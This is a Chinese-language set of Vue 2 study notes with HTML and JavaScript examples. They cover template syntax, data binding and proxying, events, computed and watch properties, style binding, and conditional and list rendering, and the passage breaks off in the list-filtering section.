Vue2
一、Vue核心
1.1 Vue 简介
1.1.1 官网
- 英文官网: https://vuejs.org/
- 中文官网: https://cn.vuejs.org/
1.1.2 Vue 的特点
- 采用组件化模式,提高代码复用率,且让代码更好维护
- 声明式编写DOM,提高开发效率
- 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点
1.2 初识Vue
想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
root容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
root 容器里的代码被称为 Vue模板
容器与Vue实例一一对应
真实开发中只有一个Vue实例,并且会配合着组件一起使用
(插值语法)内部可以包含任意的 JavaScript 表达式,且xxx会自动读取到data中所有的属性
一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新
注意区分:js表达式 和 js代码(语句)
表达式:一个表达式产生一个值,可以放在任何一个需要值的地方
eg:a,a+b,demo(1),x === y ? "a" : b
js代码(语句)
eg:if(){},for(){}
<title>初识Vue</title>
<!-- 引入Vue.js 开发者模式 -->
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>Hello {{name}},{{1+1}}</h1>
<h1>
Hi {{user.toUpperCase()}},{{new Date(Date.now()).toLocaleString()}}
</h1>
<!-- {{}} 内部可以包含任意的 JavaScript 表达式 -->
</div>
<script>
Vue.config.productionTip = false; // 设置为 false 以阻止 vue 在启动时生成生产提示。
// 创建Vue实例 容器与Vue实例一一对应
new Vue({
el: "#root", // el用于指定当前Vue实例为哪个容器服务,值通常为CSS选择器字符串。
data: {
// data中用于存储数据,数据供el所指定的容器使用,值我们暂时先写成对象
name: "Vue",
user: "yibu-xiaoxin",
},
});
</script>
</body>1.3 模板语法
Vue 模板语法有两大类:
插值语法()
功能:用于解析标签体内容
写法:,xxx是 js 表达式、并且可以直接读取到vm中的所有属性
指令语法(以 v-开头)
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件......)
举例:v-bind:href = "xxx" 或简写为::href = "xxx",xxx同样要写 js 表达式,且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是:v-??? ,此处我们只是拿 v-bind 举例
注意:只有 v-bind: 可以简写为 :
<title>模板语法</title>
<!-- 引入 Vue -->
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>插值语法</h1>
<!-- 插值语法往往用于指定标签体内容 -->
<h3>你好 {{name}}</h3>
<hr />
<h1>指令语法</h1>
<!-- 指令语法用于解析标签 -->
<a v-bind:href="school.url" x="hello">点我{{school.name}}学习1</a>
<!-- v-bind:属性名="js表达式" 可以为标签内的任何一个属性动态的保存属性值-->
<a :href="school.url.toUpperCase()" x="hello">点我{{school.name}}学习2</a>
<!-- v-bind: ===> : -->
</div>
</body>
<script>
Vue.config.productionTip = false; // 阻止 vue 在启动时生成的生产提示
// 创建一个 Vue 实例
new Vue({
el: "#root",
data: {
name: "jack",
school: {
name: "尚硅谷",
url: "http://www.atguigu.com",
},
},
});
</script>1.4 数据绑定
Vue中有2种数据绑定的方式:
单向绑定(v-bind):数据只能从 data 流向页面
双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data ,一般用于表单元素可以获取到用户输入的内容
备注:
- 双向绑定一般都应用在表单类元素上(如:input、select等)
- v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值
<title>数据绑定</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
<!-- 普通写法 -->
<!-- v-bind 绑定属性值为单向绑定 -->
单向数据绑定:<input type="text" v-bind:value="name" /><br />
<!-- v-model:双向数据绑定 -->
双向数据绑定:<input type="text" v-model:value="name" /><br />
<!-- 如下代码是错误的 v-model 只能应用于表单(输入类)元素上 用于捕获用户的输入 -->
<!-- <h2 v-model:x="name">你好</h2> -->
<!-- 简写 常用写法-->
单向数据绑定:<input type="text" :value="name" /><br />
双向数据绑定:<input type="text" v-model="name" /><br />
</div>
</body>
<script>
// 创建一个Vue实例
new Vue({
el: "#root",
data: {
name: "Vue",
},
});
</script>1.5 el与data的两种写法
1.5.1 el 的两种写法
- new Vue 时配置 el 属性
- 先创建 Vue 实例,随后再通过 vm.$mount("#root")指定 el 的值
两种写法都可以
1.5.2 data的两种写法
- 对象式
- 函数式
在使用组件时,data 必须使用函数式,否则会报错
注意:
由 Vue 管理的函数,一定不要使用箭头函数,一旦使用了箭头函数,this 将不再指向 Vue 实例
<title>el与data的两种写法</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备一个div元素,用于挂载组件 -->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 1. el 的两种写法 两种写法皆可
const v = new Vue({
// el: "#root", // 第一种写法
data: {
name: "小明",
},
});
console.log(v);
// 将组件挂载到页面上
v.$mount("#root"); // 第二种写法
// 2. data的两种写法 使用组件时必须使用函数式写法
new Vue({
el: "#root",
// 第一种写法:对象式
/* data: {
name: "小明",
}, */
// 第二种写法:函数式
data() {
// 注意:此处的函数必须为普通函数,不能为箭头函数
console.log(this); // 此处的this为Vue实例对象
return {
name: "小明",
};
},
});
</script>1.6 MVVM模型
- M:模型(Model) :对应 data 中的数据
- V:视图(View) :模板
- VM:视图模型(ViewModel) : Vue 实例对象


经常会使用 vm (ViewModel 的缩写) 这个变量名表示 Vue 实例。
观察发现:
- data中的所有属性,最后都出现在了 vm 身上
- vm 身上的所有属性及 Vue 原型上的所有属性,在 Vue 模板中都可以直接使用(即在插值语法和指令中可以直接访问vm上的属性和方法)
<title>MVVM模型</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备一个容器 -->
<div id="root">
<h1>学校名称 {{name}}</h1>
<h1>学校地址 {{address}}</h1>
<h1>测试一下1 {{1+1}}</h1>
<h1>测试一下2 {{$off}}</h1>
<h1>测试一下3 {{_c}}</h1>
<!-- vm上的所有属性及Vue原型上的所有属性,都可以在模板中使用 -->
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "尚硅谷",
address: "北京",
};
},
});
console.log(vm); // vm Vue实例对象
// data 上的数据最终会出现在 VM 中
</script>1.7 数据代理
1.7.1 回顾Object.defineproperty方法
Object.defineproperty: 为对象添加属性,并可以使用getter和setter将该属性和其它变量关联起来(数据代理)
<title>回顾Object.defineproperty方法</title>
</head>
<body>
<script>
let number = 18;
let person = {
name: "张三",
sex: "男",
};
// Object.defineproperty: 为对象添加属性,并可以使用getter和setter将该属性和变量关联起来
// 为perosn对象添加一个age属性
Object.defineProperty(person, "age", {
/* value: 18,
writable: true, // 控制属性是否可以被修改,默认值为false
enumerable: false, // 控制属性是否可以枚举(遍历),默认值为false
configurable: false, // 控制属性是否可以被删除,默认值为false */
// 需求:更改number的值 age的值自动更新为number的值
// 每次读取person的age属性值时 get函数(getter)就会被调用,且返回值为age的值
get() {
console.log("有人读取age属性了");
return number; // 返回的number值为age的值
},
// 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value) {
console.log("有人修改age属性了且值是", value);
number = value;
},
});
console.log(Object.keys(person));
console.log(person);
</script>1.7.2 何为数据代理
数据代理:通过一个对象中的属性代理对另一个对象中属性的操作(读/写)
<title>何为数据代理</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写) -->
</body>
<script>
// 通过obj2 可以读/写 obj中的 x 属性
let obj = { x: 100 };
let obj2 = { y: 200 };
Object.defineProperty(obj2, "x", {
// 通过 obj2 访问obj的 x 属性
get() {
return obj.x;
},
// 通过 obj2 修改obj的 x 属性
set(value) {
obj.x = value;
},
});
</script>1.7.3 Vue中的数据代理
Vue中的数据代理:
通过 vm 对象来数据代理 vm._data(即data中的数据) 对象中属性的操作(读/写)
Vue中数据代理的好处:
更加方便的操作 data 中的数据
基本原理:
通过Object.defineProperty()的getter和setter把 vm._data 对象中的所有属性数据代理到 vm 中
为每添加到 vm 上的属性,都指定一个 getter/setter
在getter/setter内部去操作(读/写)data中对应的属性
getter方法返回的是 vm._data.属性名 setter 方法设置的是 vm. _data.属性名 = val

<title>Vue中的数据代理</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script>
const vm = new Vue({
el: "#root", // 挂载元素
data() { // data中的属性会被 vm 对象进行数据代理
return {
name: "尚硅谷",
address: "北京",
};
},
});
console.log(vm);
</script>vm 实例对象中的 _data 属性保存着 data 方法中的数据,并设置 getter和setter方法动态监视data中数据的变化,并对模板进行重新解析
在将 _data 中的数据代理到 vm 中,为了方便模板语法使用data中的数据
模板语法,可以直接访问到 vm和Vue 原型中的属性,当data 发生变化时,Vue 会重新解析模板
使用数据代理的根本原因:插值语法,xxx能访问到 vm中的所有属性和Vue原型中的所有属性,不能直接访问_data中的属性,为了方便操作 _data 中的属性,因此在 vm 中数据代理了 _data中保存的 data 中的数据
1.8 事件处理
1.8.1 事件的基本使用
- 使用 v-on:xxx=“回调函数名/JS表达式” 或 @xxx=“回调函数名/JS表达式” 绑定事件,其中xxx为事件名
- 事件的回调函数需要配置在 methods 对象中,最终会在vm上
- methods 中配置的函数,不要使用箭头函数!否则 this 就不是 vm 了
- methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象
- @click=“demo” 和 @click=“demo($event)” 效果一致,但后者在传递其它参数时可以保证事件对象 event 不丢失
- 为绑定的事件回调传参 @click="demo($event,参数1,参数2...)" 如果不需要event可以不写$event
<title>事件的基本使用</title>
<!-- 引入Vue.js -->
<script src="" data-missing="vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<button v-on:click="showInfo1">点我提示信息(不传参)</button>
<!-- v-on:cilck 简写为 @click 常用 -->
<!-- 为事件回调传递参数 -->
<button @click="showInfo2(66,$event)">点我提示信息(传参)</button>
<!-- $event 避免为回调函数传递参数而丢失 event -->
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "b站",
};
},
methods: {
showInfo1(event) {
console.log(event.target.innerText);
console.log(this === vm); // 此处的this为vm实例对象(除箭头函数)
alert("同学你好!");
},
showInfo2(number, event) {
console.log(event);
alert(`同学你好!!${number}`);
},
},
});
</script>tips:click="xxx" xxx可以为一个函数名,也可以是一段简单代码 引号内可以访问vm实例中的属性
html<button @click="isHot=!isHot;">切换天气</button> // 点击按钮时,将isHot属性值取反
1.8.2 事件修饰符
Vue中的事件修饰符:
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
- self:只有 event.target 是当前操作的元素时才触发
passive:事件的默认行为立即执行,无需等待事件回调函数执行完毕(一般事件需要先执行事件回调,等事件回调执行完毕,再执行默认行为)
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- prevent:阻止默认事件(常用) -->
<a href="https://www.bilibili.com/" @click.prevent="showInfo"
>点我提示信息,a标签不会跳转</a
>
<!-- stop:阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息, 会阻止事件冒泡</button>
</div>
<!-- once:事件只触发一次(常用) -->
<button @click.once="showInfo">我只能提示一次</button>
<!-- capture:使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">点我事件捕获</div>
</div>
<!-- self:只有 event.target 是当前操作的元素时才触发 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
</div>
</body>
<script>
new Vue({
el: "#root",
data() {
return {
name: "b站",
};
},
methods: {
showInfo(e) {
// e.preventDefault();// 阻止默认行为
// e.stopPropagation();// 阻止事件冒泡
alert("同学你好!");
console.log(e.target);
},
showMsg(msg) {
console.log(msg);
},
},
});
</script>tips:
事件修饰符可以连缀使用
html<a href="https://www.bilibili.com/" @click.prevent.stop="showInfo" >点我提示信息, 会阻止事件冒泡</a >
1.8.3 键盘事件
Vue中常用的按键别名: 回车 => enter
删除 => delete(捕获"删除"和”退格“键)
退出 => esc
空格 => space
换行 => tab(特殊,必须配合 keydown 使用)
上 => up
下 => down
左 => left
右 => right
Vue未提供别名的键名,可以使用按键原始的 key 值(键名)去绑定,但要注意转换为 caps-lock(短横线命名,全小写)
系统修饰键(用法特殊):ctrl,alt,shift,win
- 配合 keyup 使用:按下修饰键的同时,再按下其它键,随后释放其他键,事件才触发
- 配合 keydown 使用:正常触发事件
也可以使用 keyCode 去指定具体的按键(不推荐)
Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<title>键盘事件</title>
<script src="" data-missing="vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo" />
<input type="text" placeholder="按下caps lock提示输入" @keyup.caps-lock="showInfo" />
<input type="text" placeholder="按下 tab 提示输入" @keydown.tab="showInfo" />
<input type="text" placeholder="按下 ctrl 提示输入" @keyup.ctrl="showInfo" />
<input type="text" placeholder="按下 ctrl 提示输入" @keydown.ctrl="showInfo" />
<input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo" />
<input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo" />
<!-- .enter 按键别名 -->
</div>
</body>
<script>
Vue.config.keyCodes.huiche = 13; // 自定义了一个回车按键
new Vue({
el: "#root",
data() {
return {
name: "b站",
};
},
methods: {
showInfo(e) {
// if(e.keyCode !== 13) return;
console.log(e.target.value);
// console.log(e.key,e.keyCode); //e.key 为按键名 e.keyCode 为按键码
},
},
});
</script>tips:
使用系统修饰键,ctrl+y 触发事件
html<input type="text" placeholder="按下 ctrl+y 提示输入" @keyup.ctrl.y="showInfo" />
1.9 计算属性
1.9.1 计算属性基本使用
定义:要用的属性不存在,要通过已有的属性(data内配置的数据)计算得来
原理:底层借助了Object.defineproperty 方法提供的 getter 和 setter
get 函数什么时候执行?
初次读取时会执行一次
当依赖的数据发生改变时会被再次调用
优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。
备注:
- 计算属性最终会出现在 vm 上,直接读取计算属性名即可。
- 如果计算属性要被修改,那么必须写 set 函数去响应修改,且set中要使计算时依赖的数据发生改变
姓名案例-计算属性实现
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓:<input type="text" v-model="firstName" /><br />
<!-- v-model 双向绑定 -->
名:<input type="text" v-model="lastName" /><br />
姓名 <span>{{fullName}}</span>
<!-- 使用计算属性 fullName -->
<!-- 模板语法内可以使用 vm实例中的所有属性 -->
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
// 注意:当data发生了改变,模板一定会重新进行解析
return {
// 属性: data里配置的数据
firstName: "张",
lastName: "三",
};
},
// 计算属性 存在于 vm 实例上
computed: {
fullName: { // 计算属性存在缓存,当依赖计算的属性发生变化时会重新计算
// fullName计算属性名,会出现在 vm 中
// get有什么作用?当有人读取 fullName 时,get就会被调用,且返回值就作为fullName的值
// get什么时候调用?1.初次读取fullName时 2.所依赖的数据发生变化时
get() {
console.log("get被调用了");
console.log(this); // vm
return `${this.firstName}-${this.lastName}`;
},
// set什么时候调用? 当 fullName 被修改时
set(value) { // value 为修改后的fullName值
console.log("fullName被修改为:", value);
// 改变fullName依赖计算的属性,实现重新计算fullName
[this.firstName,this.lastName]= value.split("-");
//split("-")将字符串按照指定字符分割成数组,在对数组进行解构赋值
},
},
},
});
</script>1.9.2 计算属性完整写法
对计算属性读和修改需要使用 getter 和 setter
computed: {
// 完整写法
fullName: { // fullName为计算属性名
get() { // 获取计算属性的值
return `${this.firstName}-${this.lastName}`; // this:vm
},
set(value) { // 修改计算属性的值
console.log("fullName被修改为:", value);
[this.firstName, this.lastName] = value.split("-");
},
},
},1.9.3 计算属性的简写方式
当计算属性只读不做修改时,可以进行简写
// 当计算属性只读不做修改时,可以进行简写
fullName() { // 函数作为get函数使用
return `${this.firstName}-${this.lastName}`;
},1.10 监视属性
1.10.1 监视属性基本用法
- 当被监视的属性变化时,回调函数(handler)自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视,可以为计算属性
- 监视属性的两种写法
- new Vue 时传入 watch 配置
- 通过 vm.$watch("属性名",{配置项}) 监视
天气案例_监视属性
<title>天气案例_监视属性</title>
<!-- 引入Vue.js -->
<script src="" data-missing="vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>今天天气很{{weather}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
isHot: true,
};
},
// 计算属性
computed: {
weather() {
return this.isHot ? "炎热" : "凉爽";
},
},
// 方法
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
// 监视属性
watch: {
isHot: {// isHot:要被监视的属性名
immediate: true, // 初始化时让 handler 调用一下
// handler什么时候调用? 当isHot发生改变时
handler(newValue, oldValue) {
// handler有两个参数 newValue:修改后的值,oldValue:修改前的值
console.log(
`天气变化为:${newValue},之前的天气为:${oldValue}`
);
},
},
weather: {// 可以监视计算属性
immediate: true, // 初始化时让 handler 立即执行一次
handler(newValue, oldValue) {
console.log(
`计算属性weather被修改了,新值为:${newValue},旧值为:${oldValue}`
);
},
},
},
});
// 使用 vm 监视属性
vm.$watch("isHot",{
handler(newValue,oldValue){
immediate: true,
console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
}
})
</script>1.10.2 深度监视
- Vue 中的 watch 默认不监测对象内部值的改变(watch不能监视多级结构中的属性)
- 为 watch 中监视的属性添加 deep:true 实现监视多级结构中的属性
备注:
- Vue 自身可以监视对象内部值的变化,但 Vue 提供的 watch 默认不可以
- 使用 watch 时根据数据的具体结构,决定是否采用深度监视
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h3>a的值是{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
<button @click="numbers = {a:666,b:888}">彻底替换掉 numbers</button>
<h3>c多及结构下的c的值为{{numbers.c.d.e}}</h3>
<button @click="numbers.c.d.e++">点我让e+1</button>
<!-- Vue 自身可以监视到对象内部值的变化,当值发生变化时会自动更新模板里的内容 -->
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
numbers: {
// 多级结构的属性
a: 1,
b: 1,
c:{
d:{
e:100
}
}
},
};
},
// 监视属性
watch: {
// 监视多级结构中某个属性的变化
"numbers.a": {
//对象的键值为字符串
handler(newValue, oldValue) {
console.log(`a变化为:${newValue},之前的a为:${oldValue}`);
},
},
// 监视多级结构中的所有属性的变化
numbers: {
deep: true, // 开启深度监视 当number 下的a/b发生变化时都会执行handler
handler() {
console.log("numbers发生了变化");
},
},
},
});
</script>
</html>1.10.3 监视属性的简写
前提:只使用handler(),而不使用immediate,deep 等配置
// 实现监视的第一种写法
watch: {
// 正常写法
isHot: { // isHot 要监视的属性
// immediate: true, // 初始化时让 handler 调用一下
// deep:true, // 深度监视
handler(newValue, oldValue) {
console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
},
},
// 简写 前提:只使用handler(),而不使用immediate,deep 等配置
isHot(newValue,oldValue){ // 该方法为handler方法
console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
}
},
// 实现监视的第二种写法
// 正常写法
vm.$watch("isHot",{
immediate:true,
deep:true,
handler(newValue,oldValue){
console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
}
})
// 简写 前提:只使用handler(),而不使用immediate,deep 等配置
vm.$watch("isHot", function (newValue, oldValue) {
console.log(`天气变化为:${newValue},之前的天气为:${oldValue}`);
});1.10.4 watch对比computed
computed和watch 之间的区别:
- computed 能完成的功能,watch 都能完成,computed 较为简单
- watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作(定时器)。
两个重要的小原则:
- 所有被 Vue 所管理的函数,最好写成普通函数,这样this的指向才是 vm 或 组件实例对象,不是被 Vue 管理的函数最好写为箭头函数,这样 this 的指向才是 vm 或 组件实例对象。
- 所有不被 Vue 所管理的函数(定时器的回调函数,ajax的回调函数,Promise的回调函数等),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象
姓名案例_watch实现
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓:<input type="text" v-model="firstName" /><br />
<!-- v-model 双向绑定 当输入框内的数据发生变化时,data中的数据也会发生变化-->
名:<input type="text" v-model="lastName" /><br />
姓名 <span>{{fullName}}</span>
<!-- 模板语法 内可以使用 vm实例中的所有属性 -->
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
// 注意:当data发生了改变,模板一定会重新进行解析
return {
firstName: "张",
lastName: "三",
fullName: "张-三",
};
},
watch: {
firstName(val) {
setTimeout(() => {
// 注意:此处需要使用箭头函数,而不能使用普通函数因为:
// setTimeout是window下的属性this指向window, 而使用箭头函数setTimeout中的this会指向外层this即vm
this.fullName = val + "-" + this.lastName; // 当监视到姓发生改变时,修改fullName
}, 1000);
},
lastName(val) {
this.fullName = this.firstName + "-" + val;
},
},
});
</script>1.11 绑定样式
class样式
写法::class="xxx" xxx可以是字符串、数组、对象
- 字符串写法适用于:类名不确定,要动态获取
- 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
- 对象写法适用于:要绑定多个样式,个数确定,名字确定,但不确定是否使用
style样式
写法:
- :style="{fontSize: xxx}" 其中xxx是动态值
- :style= "[a,b]" 其中a、b是样式对象
<body>
<!-- 准备好一个容器 -->
<div id="root">
<!-- 绑定 class 样式 字符串写法,适用于:样式的类名不确定,需要动态指定-->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br />
<!-- :class ==> v-bind:class 数据绑定 将变化的class绑定到data中的属性上 -->
<!-- :class="xxx" Vue会将xxx进行解析,和class中的值进行拼接 -->
<!-- 绑定 class 样式 数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div>
<br />
<!-- 绑定 class 样式 对象写法,适用于:要绑定的样式个数确定,名字也确定、但要动态决定是否使用 -->
<div class="basic" :class="classObj">{{name}}</div>
<!-- 绑定 style 样式 对象写法 -->
<!-- <div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div> -->
<!-- :style="{fontSize: fsize+'px'}" 引号内的{fontSize: fsize+'px'}为一段js代码Vue会自动解析执行 -->
<div class="basic" :style="styleObj">{{name}}</div>
<!-- 绑定 style 样式 数组写法 -->
<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
name: "点我变样式",
mood: "normal",
classArr: ["atguigu1", "atguigu2", "atguigu3"],
classObj: {
atguigu1: false, // 是否使用atguigu1
atguigu2: true, // 是否使用atguigu2
},
styleObj:{
fontSize: "40px",
color: "red",
},
styleObj2:{
backgroundColor: "yellow",
}
};
},
methods: {
changeMood() {
const arr = ["happy", "sad", "normal"]; // 随机更换心情
this.mood = arr[Math.floor(Math.random() * arr.length)];
},
},
});
</script>tips:
将动态变化的样式进行样式绑定,不需要动态改变的正常写
Vue 会自动将动态绑定的值和原有的值进行拼接
vue<div :class="isShow && '类名'">动态类名</div> // isShow:true/false <div :class="{ 类名: isShow }">动态类名</div> <div :style="{ color: isShow ? 'red' : 'blue' }">动态样式</div> <div :style="{ color: fontColor }">动态样式</div> // fontColor:"red"/...
1.12 条件渲染
v-if写法:
- v-if=”表达式“ 表达式的值为 true:显示、false:隐藏
- v-else-if="表达式"
- v-else="表达式"
适用于:切换频率较低的场景
特点:不展示(v-if为false)的DOM元素直接被移除(卸载)
注意:v-if 可以和:v-else-if,v-else 一起使用,但要求结构不能被“打断”(中间不能存在非 v-else-if 的DOM)
v-show写法:v-show="表达式"
适用于:切换频率较高的场景
特点:不展示(v-show为false)的DOM元素未被移除,仅仅是使用样式隐藏掉(添加 display:none)
备注:使用 v-if 时,元素可能无法获取到(元素被移除),而使用 v-show 一定可以获取到(元素被隐藏)
<body>
<!-- 准备好一个容器 -->
<div id="root">
<!-- 使用 v-show 作条件渲染 -->
<h2 v-show="false">欢迎来到{{name}}</h2>
<!-- v-show="false"隐藏元素,为元素添加 display:none -->
<h2 v-show="1===1">欢迎来到{{name}}</h2>
<h2 v-show="a">欢迎来到{{name}}</h2>
<!-- 使用 a的值动态控制显示隐藏 -->
<!-- 使用 v-if 作条件渲染 -->
<h2 v-if="false">欢迎来到{{name}}</h2>
<!-- v-if="false" 会将DOM元素删除 -->
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 元素切换频繁时,使用v-show 不删除DOM节点-->
<div v-show="n === 1">Angular</div>
<div v-show="n === 2">React</div>
<div v-show="n === 3">Vue</div>
<!-- v-if v-else-if和v-else -->
<!-- 元素切换不频繁时,使用v-if 会删除DOM节点-->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<!-- <div>aa</div> 中间不能存在其它的DOM元素 -->
<div v-else-if="n === 3">Vue</div>
<div v-else>其他</div>
<!-- v-if 与 template 的配合使用 -->
<!-- template不会被渲染,不会破坏DOM结构,但 template只能配合 v-if 使用 -->
<template v-if="n===1">
<h2>你好</h2>
<h2>xx</h2>
<h2>北京</h2>
</template>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data: {
// data中的数据发生改变整个模板将会重新进行解析
name: "Vue.js",
a: false,
n: 0,
},
});
</script>tips:
v-if 与 template 的配合使用
template作为外层标签不会被渲染,不会破坏DOM结构,但 template 只能配合 v-if 使用
html<template v-if="n===1"> <h2>你好</h2> <h2>xx</h2> <h2>北京</h2> </template>
1.13 列表渲染
1.13.1 基本列表
v-for 指令
- 用于展示列表数据
- 语法:
v-for="(item,index) of/in xxx" :key="yyy" - 可遍历:数组(常用)、对象、字符串、指定次数
<body>
<!-- 准备好一个容器 -->
<div id="root">
<!-- v-for 遍历数组 (常用)-->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="p in persons" :key="p.id">{{p.name}}-{{p.age}}</li>
<!-- :key 是li标签的唯一标识 index:下标可以作为唯一标识 -->
<li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li>
<!-- 使用 in和of 都可以 -->
</ul>
<!-- v-for 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,key) of car" :key="key">{{key}}:{{value}}</li>
</ul>
<!-- v-for 遍历字符串 -->
<h2>遍历字符串</h2>
<ul>
<li v-for="(char,index) of str" :key="index">{{index}},{{char}}</li>
</ul>
<!-- v-for 遍历指定次数 -->
<h2>遍历指定次数</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
persons: [
{ id: "001", name: "张三", age: "18" },
{ id: "002", name: "李四", age: "19" },
{ id: "003", name: "王二狗", age: "20" },
],
car: {
name: "奥迪",
price: "70w",
color: "黑色",
},
str:'hello'
};
},
});
</script>1.13.2 key的作用与原理
面试题:react、vue中的 key 有什么作用?(key的内部原理)
虚拟DOM中 key 的作用:
key 是虚拟DOM对象的标识,当数据发生变化时,Vue会根据 "新数据" 生成 "新的虚拟DOM",随后Vue进行 "新虚拟DOM" 与 "旧虚拟DOM" 的差异比较,比较规则如下:
对比规则:
旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中的内容没变,直接使用之前的真实DOM(DOM复用)
- 若虚拟DOM中的内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
旧虚拟DOM中未找到与新虚拟DOM相同的 key:
创建新的真实DOM,随后渲染到页面
用 index 作为 key 可能会引发的问题:
若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没有问题,但效率低
如果结构中还包含输入类的DOM(input):
会产生错误DOM更新 ==> 界面有问题
开发中如何选择 key?:
- 最好使用每条数据的唯一标识作为 key ,比如id、手机号、身份证号、学号等唯一值
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
<body>
<!-- 准备好一个容器 -->
<div id="root">
<!-- v-for 遍历数组 (常用)-->
<h2>人员列表(遍历数组)</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<!-- <li v-for="(p,index) of persons" :key="index"> 点击添加老刘页面会发生错乱-->
<li v-for="(p,index) of persons" :key="p.id">
<!--点击添加老刘页面不会发生错乱-->
{{p.name}}-{{p.age}}
<input type="text" /> <!--存在输入类DOM-->
</li>
</ul>
</div>
</body>
<script>
const vm = new Vue({
el: "#root",
data() {
return {
persons: [
{ id: "001", name: "张三", age: "18" },
{ id: "002", name: "李四", age: "19" },
{ id: "003", name: "王二狗", age: "20" },
],
};
},
methods: {
add() {
this.persons.unshift({ id: "004", name: "老刘", age: "38" });
},
},
});遍历添加列表时将 index(下标) 作为 key 对存在输入框的列表的数据进行逆序操作,会发生错乱

遍历添加列表时将 id(唯一标识) 作为 key 对存在输入框的列表的数据进行逆序操作,不会发生错乱

tips:
如果在v-for遍历列表时不写 key Vue会把遍历时的索引作为 key
在开发时 key 最好使用唯一标识
1.13.3 列表过滤
方法1:使用 watch 进行监视,当搜索关键字发生改变时,过滤原有的数据,产生一个新的数据,将新的数据渲染到页面上。
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入检索关键字" v-model="keyWord"/>
<ul>
<li v-for="(item,index) of filPersons" :key="item.id">
{{item.name}}-{{item.age}}--{{item.sex}}
</li>
</ul>
</div>
</body>
<script>
